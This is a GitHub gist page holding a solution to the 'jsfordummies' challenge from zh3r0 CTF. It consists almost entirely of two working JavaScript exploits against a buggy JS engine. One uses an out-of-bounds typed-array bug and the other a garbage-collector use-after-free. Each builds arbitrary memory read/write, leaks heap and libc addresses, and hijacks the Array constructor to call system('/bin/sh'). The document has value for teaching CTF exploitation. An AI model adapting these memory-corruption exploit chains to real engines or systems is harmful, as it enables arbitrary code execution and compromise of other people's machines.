Skip to content

Instantly share code, notes, and snippets.

@d4rk-kn1gh7
Last active August 8, 2021 12:44
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save d4rk-kn1gh7/072b33431faaedfcd9eef47b01604e85 to your computer and use it in GitHub Desktop.
Save d4rk-kn1gh7/072b33431faaedfcd9eef47b01604e85 to your computer and use it in GitHub Desktop.
zh3r0 ctf - jsfordummies
/*
Bug: typecasting uint8_t* ab.backingStore to uint16_t* ta.mem while converting ArrayBuffer to Uint16Array,
but not reducing length, allows oob r/w.
Exploit: create ArrayBuffer of same size as JSObject, so that they come consecutively in memory,
use oob r/w to overwrite JSObject metadata, construct arbitrary r/w primitives, overwrite
Array constructor with system, JSState with "/bin/sh"
*/
test = new ArrayBuffer(0x70);
a = new Uint16Array(0x20);
b = new Uint16Array(test);
vals = new Array(0x70);
for(i = 0; i < 65535; i++) {
j = b.Includes(i);
if(j){
vals[j] = i;
}
}
function leak(vals, off){
return vals[off] + (vals[off+1]*0x10000) + (vals[off+2]*0x100000000);
}
heap_leak = leak(vals, 0x44)
code_leak = leak(vals, 0x3c)
offset = 0x48
vals2 = new Array(0x10);
function read(addr){
addr = addr - 2;
b.set(offset, addr % 0x10000);
b.set(offset + 1, (addr / 0x10000) % 0x10000);
b.set(offset + 2, addr / 0x100000000);
for(i = 0; i < 65535; i++) {
j = a.Includes(i);
if(j){
vals2[j] = i;
}
}
return leak(vals2, 1);
}
function write(addr, value){
b.set(offset, addr % 0x10000);
b.set(offset + 1, (addr / 0x10000) % 0x10000);
b.set(offset + 2, addr / 0x100000000);
a.set(0, value % 0x10000);
a.set(1, (value / 0x10000) % 0x10000);
a.set(2, (value / 0x100000000) % 0x100000000);
}
libc_base = read(code_leak - 0x290) - 0x18cba0;
one_gadget = libc_base + 0xe6c81;
environ = libc_base + 0x1ef2e0;
system = libc_base + 0x55410;
array_obj = heap_leak + 0x2760;
stack = read(environ) - 0x188;
js_state = read(stack);
binsh1 = 0x732f6e69622f
binsh2 = 0x68
write(js_state, binsh1);
write(js_state + 6, binsh2);
write(array_obj + 0x30, system);
a = new Array(0);
/*
Bug: UAF in gc, frees UInt32Array->u.ta.mem when freeing UInt32Array, but memory can still be in use
Exploit: create 2 Uint32Arrays with an ArrayBuffer's backing store (of JSObject size) and free one,
then get JSObject allocation in that memory and overwrite metadata, rest same as above.
*/
test = new ArrayBuffer(0x70);
a = new Uint32Array(test);
b = new Uint32Array(test);
delete a;
gc();
c = new Uint32Array(0x20);
d = new Uint32Array(0x20);
e = new Uint32Array(0x20);
f = new Uint32Array(0x20);
g = new Uint32Array(0x20);
h = new Uint32Array(0x20);
function leak(buf, off){
return buf.at(off) + buf.at(off+1)*0x100000000;
}
code_leak = leak(b, 2);
heap_leak = leak(b, 6);
function read(addr){
b.set(8, addr % 0x100000000);
b.set(9, (addr / 0x100000000) % 0x100000000);
return leak(h, 0);
}
function write(addr, value){
b.set(8, addr % 0x100000000);
b.set(9, addr / 0x100000000);
h.set(0, value % 0x100000000);
h.set(1, (value / 0x100000000) % 0x100000000);
}
array_obj = heap_leak + 0x26f0
libc_base = read(code_leak - 0x118) - 0x24bc0 - 0x25000
environ = libc_base + 0x1ef2e0;
system = libc_base + 0x55410;
stack = read(environ) - 0x188;
js_state = read(stack);
binsh1 = 0x732f6e69622f
binsh2 = 0x68
write(js_state, binsh1);
write(js_state + 6, binsh2);
write(array_obj + 0x30, system);
a = new Array(0);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment